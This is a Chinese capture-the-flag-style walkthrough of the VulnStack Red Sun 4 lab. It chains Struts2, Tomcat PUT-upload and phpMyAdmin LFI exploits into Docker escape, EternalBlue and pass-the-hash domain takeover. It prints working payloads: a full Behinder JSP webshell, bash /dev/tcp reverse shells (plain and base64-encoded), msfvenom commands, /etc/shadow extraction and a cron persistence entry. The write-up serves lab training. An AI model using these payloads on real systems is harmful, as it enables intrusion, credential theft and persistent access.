红日靶机(四)笔记

news2024/11/30 15:27:39

VulnStack-红日靶机四

概述

这个靶场环境包含了三台机器,一台web,两台window域机器。web服务是使用docker容器搭建的,所以就涉及到docker逃逸。而在获得立足点的过程中,我们要对三个docker容器分别测试,不能漏掉可以逃逸docker容器的机器:分别有struts2的反序列化RCE、tomcat的任意文件上传getshell、phpmyadmin任意文件包含RCE漏洞。获得立足点后,使用到CDK枚举工具查看docker容器的脆弱信息。后渗透涉及到ms17-010(永恒之蓝)和PTH(哈希传递攻击)

这里有一个挺重要的概念——枚举。像winpeas、enum4linux还用本章用到的CDK都是进行信息枚举的工具,枚举的目标是识别所有的攻击路径,而枚举的过程绝不是仅仅依赖于工具,工具只有在我们知道如何利用某些信息时才真正有用。它们只是辅助,无法替代我们的知识和细心。

环境搭建

靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

在虚拟机网络中添加仅主机网卡vmnet2,192.168.183.0/24

在这里插入图片描述

将三台主机的全部设置为vmnet2网卡

在这里插入图片描述

双网卡机器web设为

image-20241010122620024

开启三台虚拟机

机器密码

  • web服务器:ubuntu:ubuntu
  • win7机器:douser:Dotest123
  • 域控主机:administrator:Test2008

在ubuntu的web机器上,手动开启服务

cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

环境搭建完毕,我们可以进行后续的实战操作了

我配置完成后的机器ip

kali:192.168.96.10

web:192.168.96.14,192.168.183.10

win7:192.168.183.11

DC:192.168.183.130

一、nmap扫描

1)端口发现

sudo nmap -sT --min-rate 10000 -p- 192.168.96.14 -o ports
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-10 12:46 CST
Nmap scan report for 192.168.96.14
Host is up (0.00078s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT     STATE SERVICE
22/tcp   open  ssh
2001/tcp open  dc
2002/tcp open  globe
2003/tcp open  finger
MAC Address: 00:0C:29:D5:D8:A4 (VMware)

2)详细信息扫描

sudo nmap -sT -sV -sC -p22,2001,2002,2003 -O 192.168.96.14 -o details
Nmap scan report for 192.168.96.14
Host is up (0.00049s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 6d1ee755eed72b22d76b6867df39f57b (DSA)
|   2048 5eca2c708fa20cbf10d7262b155f3f58 (RSA)
|   256 deb56aa8246a1345cc8721c3c2eeb210 (ECDSA)
|_  256 8e02ca996ec2eb8f0c5cbbc9b2f5064d (ED25519)
2001/tcp open  http    Jetty 9.2.11.v20150529
|_http-server-header: Jetty(9.2.11.v20150529)
| http-cookie-flags:
|   /:
|     JSESSIONID:
|_      httponly flag not set
|_http-title: Struts2 Showcase - Fileupload sample
2002/tcp open  http    Apache Tomcat 8.5.19
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/8.5.19
2003/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: 192.168.96.14:2003 / mysql | phpMyAdmin 4.8.1
| http-robots.txt: 1 disallowed entry
|_/
MAC Address: 00:0C:29:D5:D8:A4 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.67 seconds

看到2001,2002,2003都是web服务,分别为struts2,tmocat和phpmyadmin。

3)默认脚本扫描

sudo nmap --script=vuln -p22,2001,2002,2003 192.168.96.14 -o vuln
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-10 13:05 CST
Pre-scan script results:
| broadcast-avahi-dos: 
|   Discovered hosts:
|     224.0.0.251
|   After NULL UDP avahi packet DoS (CVE-2011-1002).
|_  Hosts are all up (not vulnerable).
Nmap scan report for 192.168.96.14
Host is up (0.00067s latency).

PORT     STATE SERVICE
22/tcp   open  ssh
2001/tcp open  dc
2002/tcp open  globe
2003/tcp open  finger
MAC Address: 00:0C:29:D5:D8:A4 (VMware)

二、web服务渗透

2001

image-20241010132055485

2002

image-20241010134221190

2003

image-20241010134314501

看到

2001,是struts一个文件上传的页面。2002,是tomcat的默认页面。2003是phpmyadmin的管理页面,而且不需要登陆。

三、获得立足点

1)利用struts2

用struts2scan扫描漏洞

github地址:https://github.com/shack2/Struts2VulsTools

image-20241010135942767

看到存在s2-046

我们直接执行命令

kali上

sudo rlwrap -cAn nc -lvp 444

struts2工具

bash -c "bash -i >& /dev/tcp/192.168.96.10/4444 0>&1"

image-20241010142919592

看到成功拿到shell

2)利用tomcat

根据版本搜索公开利用

image-20241010143400402

python 42966.py -u http://192.168.96.15:2002

这里网络出现了一点小状况,机器ip变成192.168.96.15了

image-20241010145514108

看到漏洞确实存在,但是这个利用的交互性不是很好,我们看看42953

# E-DB Note: https://www.alphabot.com/security/blog/2017/java/Apache-Tomcat-RCE-CVE-2017-12617.html

When running on Windows with HTTP PUTs enabled (e.g. via setting the readonly initialisation parameter of the Default to false) it was possible to upload a JSP file to the server via a specially crafted request.
This JSP could then be requested and any code it contained would be executed by the server.

    The PoC is like this:

    PUT /1.jsp/ HTTP/1.1
    Host: 192.168.3.103:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://192.168.3.103:8080/examples/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
    Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
    Connection: close
    Content-Length: 26

    <% out.println("hello");%>

It is the bypass for CVE-2017-12615

这是42953的内容,可以看出发送put请求就可以验证

我们用burp发送

加上头部

Content-Type:x-www-form-urlencoded

完整POC

PUT /11.jsp/ HTTP/1.1
Host: 192.168.96.15:2002
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://192.168.96.15:2002/examples/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
Connection: close
Content-Length: 612
Content-Type:x-www-form-urlencoded

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

底部内容就是冰蝎的木马,用冰蝎连接

image-20241010162554385

连接成功

3)利用phpmyadmin

看到phpmyadmin的版本是4.8.1

image-20241010164256696

在这个版本的phpmyad中有一个任意文件包含漏洞,这个漏洞利用过程是:

  1. sql查询包含恶意php代码的语句
  2. 查询语句会默认存放在/tmp/session文件中
  3. 利用文件包含session文件,从而达到RCE或getshell的目的

访问

http://192.168.96.15:2003/index.php?target=db_datadict.php%253f/../../../../../../etc/passwd

image-20241010164557309

看到/etc/passwd的内容被读出来了

在sql中执行

select '<?php phpinfo();?>'

image-20241010165436603

在burp中找到session的值

Set-Cookie: phpMyAdmin=298c370f24c0ded3fa0da86d03a12d93; path=/; HttpOnly

可知session的名字sess_298c370f24c0ded3fa0da86d03a12d93

访问

http://192.168.96.15:2003/index.php?target=db_datadict.php%253f/../../../../../../tmp/sess_298c370f24c0ded3fa0da86d03a12d93

看到执行成功,包哈了phpinfo的页面

image-20241010165754767

获得反弹shell

select '<?php system(base64_decode("YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk2LjEwLzQ0NDQgMD4mMSI=")) ?>'

其中base64编码的是:bash -c "bash -i >& /dev/tcp/192.168.96.10/4444 0>&1"

再次访问包含session文件

http://192.168.96.15:2003/index.php?target=db_datadict.php%253f/../../../../../../tmp/sess_298c370f24c0ded3fa0da86d03a12d93

收到反弹shell

image-20241010170306618

至此,我们通过struts2,tomcat,phpmyadmin三种不同的web服务获得的初始的立足点

四、Docker逃逸

可以用命令

find / -name .dockerenv

来查看运行web服务的环境是不是docker容器。

逃逸docker容器常用方法

  • **内核漏洞:**由于docker容器与物理机共享一个内核,当该内核存在内核漏洞时,在docker容器内利用内核漏洞可能直接获得物理机权限
  • **Docker API 未授权访问漏洞:**当物理机的Docker API开启并同意未授权访问时,在Docker容器内可以使用Docker API新建一个Docker容器,并将物理机的根目录挂载到新Docker容器的某目录下。
  • **Docker容器以特权模式启动:**当Docker容器以特权模式启动时,可以使用mount命令将物理机的根目录挂在道当前Docker容器的某目录下。

用CDK工具检测docker容器是否有不安全的配置或漏洞存在

CDK地址:https://github.com/cdk-team/CDK

1)struts2容器(失败)

wget https://github.com/cdk-team/CDK/releases/download/v1.5.3/cdk_linux_amd64
chmod +x cdk_linux_amd64
./cdk_linux_amd64 evaluate --full

image-20241010180913996

没有可以让我们完成docker逃逸的信息

2)tomcat容器(成功)

image-20241010191905948

看到Capabilities的权限都为3fffffffff,判断此docker容器具有特权

挂在目录

./cdk_linux_amd64 run mount-disk

该命令会在Docker容器的/tmp目录下生成cdk_xxxxx目录,再将物理机的根目录挂在到/tmp/cdk_xxxxx目录下

image-20241010192537863

挂在成功

/tmp/cdk_6lpYb >cat ./etc/shadow | grep -v '*'|grep -v '!'
ubuntu:$1$xJbww$Yknw8dsfh25t02/g2fM9g/:18281:0:99999:7:::

看到可以远程登陆的用户就只有ubuntu一个,我们可以破解一下,破解不出来的话,还可以通过写入ssh-key来获取物理机的shell

image-20241010200748948

看到破解出来了

image-20241010201019565

成功拿到物理机的root权限

3)phpmyadmin(失败)

image-20241010201304151

应为phpmyadmin获得的容器shell是www-data

权限不是root,不能完成对应的逃逸

当然,我也尝试了集中提权的可能,但无济于事。

五、内网渗透

上线msf

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.96.10 lport=4444 -f elf > payload.elf

image-20241010210816148

成功上线msf

ipconfig发现另一块网卡

image-20241010210922120

run autoroute -s 192.168.183.0/24

image-20241010211017523

添加路由成功

1)信息收集

内网扫描利器fscan,在ubuntu机器上运行

wget https://github.com/shadow1ng/fscan/releases/download/1.8.4/fscan

./fscan -h 192.168.183.2-253
root@ubuntu:~# ./fscan -h 192.168.183.2-253                                                                                        
                                                                                                                                   
   ___                              _                                                                                              
  / _ \     ___  ___ _ __ __ _  ___| | __                                                                                          
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /                                                                                          
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
(icmp) Target 192.168.183.10  is alive
(icmp) Target 192.168.183.11  is alive
(icmp) Target 192.168.183.130 is alive
[*] Icmp alive hosts len is: 3
192.168.183.130:445 open
192.168.183.11:445 open
192.168.183.130:139 open
192.168.183.11:139 open
192.168.183.11:135 open
192.168.183.130:135 open
192.168.183.10:22 open
192.168.183.130:88 open
[*] alive ports len is: 8
start vulscan
[*] NetInfo 
[*]192.168.183.130
   [->]WIN-ENS2VR5TR3N
   [->]192.168.183.130
[+] MS17-010 192.168.183.130    (Windows Server 2008 HPC Edition 7601 Service Pack 1)
[*] NetBios 192.168.183.130 [+] DC:WIN-ENS2VR5TR3N.demo.com      Windows Server 2008 HPC Edition 7601 Service Pack 1
[*] NetInfo 
[*]192.168.183.11
   [->]TESTWIN7-PC
   [->]192.168.183.11
[+] MS17-010 192.168.183.11     (Windows 7 Enterprise 7601 Service Pack 1)

看到两台主机192.168.183.11192.168.183.130,而且fscan判断他们可能存在ms17-010永恒之蓝漏洞

2)攻击域控

192.168.183.130扫描为域控主机,我们优先级提前,测试永恒之蓝

msf6 exploit(multi/handler) > use exploit/windows/smb/ms17_010_eternalblue 
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.183.130
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 443
msf6 exploit(windows/smb/ms17_010_eternalblue) > run 

收到meterpreter

image-20241011125615545

进入shell

meterpreter > shell                                                                                                                
Process 2252 created.                                   
Channel 1 created.                                                                                                                 
Microsoft Windows [汾 6.1.7601]                                                                                                    
 (c) 2009 Microsoft Corporation          
C:\Windows\system32>chcp 65001                                                                                                     
chcp 65001                                     
Active code page: 65001                                                                                             
C:\Windows\system32>systeminfo                          

image-20241011130308466

看到这台windows机器所属的域demo.com

ping 一下,确定本台机器是不是域控

image-20241011130535849

看到就是192.168.183.130,就是我们拿下的这台主机

3)成员横向

通过使用smart_hashdump来获取内网windows服务器的密码hash

msf6 exploit(windows/smb/ms17_010_eternalblue) > use post/windows/gather/smart_hashdump
msf6 post(windows/gather/smart_hashdump) > set session 2
session => 2
msf6 post(windows/gather/smart_hashdump) > run

image-20241011130946870

导出的就是所有域用户的hash

格式为:

用户名:SID:LM hash:NTLM hash

进行pth攻击,拿下域成员机器

msf6 exploit(windows/smb/psexec) > set smbuser douser
smbuser => douser
msf6 exploit(windows/smb/psexec) > set smbpass bc23b0b4d5bf5ff42bc61fb62e13886e
smbpass => bc23b0b4d5bf5ff42bc61fb62e13886e
msf6 exploit(windows/smb/psexec) > run

执行拿下成员机器的session

六、权限维持

可以在linux机器上,将上传的payload.elf假如定时任务

root@ubuntu:~# ls
Desktop  Documents  Downloads  examples.desktop  fscan  Music  payload.elf  Pictures  Public  result.txt  Templates  Videos
root@ubuntu:~# vim /var/spool/cron/crontabs/root

写入

* * * * * ~/payload.elf

image-20241011144457260

总结

通过nmap扫描,发现了2001,2002,2003三个web服务端口,通过指纹信息识别发现分别为Struts2,tomcat,phpmyadmin等web服务。利用已知漏洞,获得了三个服务的shell。

发现三个服务全是在dokcer容器里的,通过用cdk枚举工具,发现tomcat可以逃逸到物理机器,查看两个用户凭着文件/etc/passwd/etc/shadow通过用john破解,获得了双网卡机器ubuntu的root权限

利用msf配置内网代理进行永恒之蓝漏洞攻击,pth攻击最终拿下了整个域内机器

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2215363.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2012年国赛高教杯数学建模C题脑卒中发病环境因素分析及干预解题全过程文档及程序

2012年国赛高教杯数学建模 C题 脑卒中发病环境因素分析及干预 脑卒中&#xff08;俗称脑中风&#xff09;是目前威胁人类生命的严重疾病之一&#xff0c;它的发生是一个漫长的过程&#xff0c;一旦得病就很难逆转。这种疾病的诱发已经被证实与环境因素&#xff0c;包括气温和湿…

Ubuntu内存扩容

目录 vmware设置Ubuntu设置查看 读研后发现&#xff0c;Ubuntu的使用量直线上升&#xff0c;之前给配置了20g内存&#xff0c;安装了个ros后&#xff0c;没啥内存了。本文实现给Ubuntu扩容。 vmware设置 这里 我使用别人的截图来演示。 我在这里改成了60 Ubuntu设置 sudo a…

Linux基础-进程的超详细讲解(2)_进程的创建

个人主页&#xff1a;C忠实粉丝 欢迎 点赞&#x1f44d; 收藏✨ 留言✉ 加关注&#x1f493;本文由 C忠实粉丝 原创 Linux基础-进程的超详细讲解(2)_进程的创建与状态 收录于专栏[Linux学习] 本专栏旨在分享学习Linux的一点学习笔记&#xff0c;欢迎大家在评论区交流讨论&#…

Python从入门到高手6.4节-字符串格式化详解

目录 6.4.1 理解格式化 6.4.2 使用f-string进行格式化 6.4.3 使用格式化符号进行格式化 6.4.4 使用format方法进行格式化 6.4.5 上山打老虎 6.4.1 理解格式化 同学们比较熟悉的是磁盘格式化&#xff0c;将磁盘格式化以后&#xff0c;磁盘中的文件全部被清除。那么&#x…

数据湖新突破:Hudi让实时数据分析更高效!

开源数据湖对比 Hudi的使用收益 Hudi使用成效 Hudi内部机制 增量摄入与更新 Hudi使用一种混合日志存储模式(称为Copy-on-Write),可以同时处理基础数据文件(Parquet)和增量日志(HoodieLogFile)。以 MergeOnReadTable 的 upsert 操作为例,当有新数据到来时,Hudi会先将数据以行…

ubuntu 虚拟机将linux文件夹映射为windows网络位置

在使用虚拟机时可以选择将windows的文件夹设置为共享文件夹方便在虚拟机中访问windows中的文件,同理,也可以将linux的文件夹共享为一个网络文件夹,通过windows的添加一个网络位置功能,将linux的文件夹映射到windows本地,方便windows访问使用linux的文件夹 参照如下:https://blo…

CMA软件测评实验室如何申请|申请流程、筹备环节、材料清单、资源准备

CMA软件测评实验室资质的申请需要做好哪些准备工作&#xff1f;需要准备哪些材料&#xff1f;本文我们一起来梳理一下CMA软件测评实验室申请流程、准备环节、材料准备以及资源准备。 一、CMA软件测评实验室资质申请流程 1、申请资质认定的检验检测机构&#xff08;以下简称申…

使用OpenRewrite将Java自动升级到Java 21

使用 OpenRewrite 可以实现将Java 项目自动升级到Java 21语法。 基于Maven项目的实现步骤 步骤非常简单&#xff0c; 具体如下&#xff1a; 在pom.xml 中添加如下插件&#xff1a; <project><build><plugins><plugin><groupId>org.openrewri…

第90届CMEF进行中,飞凌嵌入式引领智慧医疗新潮流

2024年10月12日&#xff0c;第90届中国国际医疗器械博览会 (CMEF)在深圳国际会展中心(宝安)开幕&#xff0c;来自全球各地的4000多家展商齐聚一堂&#xff0c;为全球健康产业带来探析前沿、洞见未来的医疗盛宴&#xff0c;飞凌嵌入式在13号馆D01展位隆重亮相。 飞凌嵌入式作为…

经典文献阅读之--GMMCalib(使用基于GMM的联合配准进行激光雷达传感器的外部标定)

0. 简介 现有的激光雷达标定框架主要使用迭代最近点(ICP)及其变体等非概率配准方法。由于它们的成对配准过程以及对初始化和参数化的敏感性&#xff0c;这些方法的结果存在偏差。这通常会导致校准过程中的不校准。概率配准方法通过专门模拟观测值的概率性质来弥补这些缺点。《…

上市公司社会责任报告信息数据(纳税金额、社会捐赠等) 2007-2023年

一、数据指标&#xff1a; 股票代码 统计截止日期 公告日期 所属省份 行业代码 行业名称 纳税总额 每股社会贡献值 社会捐赠额 是否经第三方机构审验 审验机构 是否参照GRI《可持续发展报告指南…

PostGIS:道路网密度分析

道路网密度是评价城市道路网是否合理的基本指标之一,用道路网密度指标来描述区域内的道路长度及平均分布情况,体现城市道路供给水平,其具有统计简单、直观、数据容易获取的优点。另外,通过对不同等级道路网密度的统计还能很好地反映出城市道路等级结构关系,对于方格形城市…

让Activity更加优雅地跳转

公众号「稀有猿诉」 原文链接 让Activity更加优雅地跳转 有过Android开发经验的小伙伴对startActivityForResult以及onActivityResult一定不陌生&#xff0c;正是这一对API让组件 的复用变成可能。今天就来学习一下如何在函数式的范式中驾驭Activity的跳转。 缘起 系…

git的基本操作 + 分支管理

一、基本操作 1. 修改文件 Git比其他的版本管理器设计得更加优秀&#xff0c;因为Git追踪并管理的是修改&#xff0c;而非文件。 修改一个文件&#xff0c;不管你是添加一行&#xff0c;或者删除一行&#xff0c;还是添加了又删除了&#xff0c;甚至你创建了一个新文件&…

《CS:GO》的标志性实验地图在 RTX GPU 神经网络中运行

研究人员让标志性的《CS:GO》地图《Dust 2》完全通过神经网络在单个 RTX 3090 GPU 上模拟运行。 虽然这些片段既令人印象深刻&#xff0c;又问题百出&#xff0c;但它们展示了生成式人工智能在模仿全 3D 游戏环境方面取得的令人敬佩的进展。 该项目的负责人之一埃洛伊-阿隆索&a…

了解CRM外贸管理软件及其应用指南

在全球化的商业环境中&#xff0c;外贸活动显得尤为重要&#xff0c;而有效地管理这些活动则成为企业取得成功的关键之一。CRM外贸管理软件作为一种专门针对外贸企业设计的客户关系管理工具&#xff0c;近年来受到越来越多国际贸易公司的青睐。其中&#xff0c;Zoho CRM作为市场…

Java项目:157 基于springboot技术的美食烹饪互动平台的设计与实现(含论文+说明文档)

作者主页&#xff1a;源码空间codegym 简介&#xff1a;Java领域优质创作者、Java项目、学习资料、技术互助 文中获取源码 项目介绍 本知识管理系统有管理员和用户两个角色 管理员权限操作的功能包括管理美食&#xff0c;对美食留言进行回复&#xff0c;管理美食知识信息&…

【QAMISRA】解决导入commands.json时报错问题

1、 文档目标 解决导入commands.json时报错“Could not obtain system-wide includes and defines”的问题。 2、 问题场景 客户导入commands.json时报错“Could not obtain system-wide includes and defines”。 3、软硬件环境 1、软件版本&#xff1a; QA-MISRA23.04 2、…

9.7 栅格图层符号化轮廓渲染

9.7 栅格图层符号化轮廓渲染_栅格构建轮廓-CSDN博客 目录 前言 轮廓 QGis设置为轮廓 二次开发代码实现轮廓 总结 前言 介绍栅格图层数据渲染之轮廓渲染说明&#xff1a;文章中的示例代码均来自开源项目qgis_cpp_api_apps 轮廓 以“3420C_2010_327_RGB_LATLNG.tif”数据…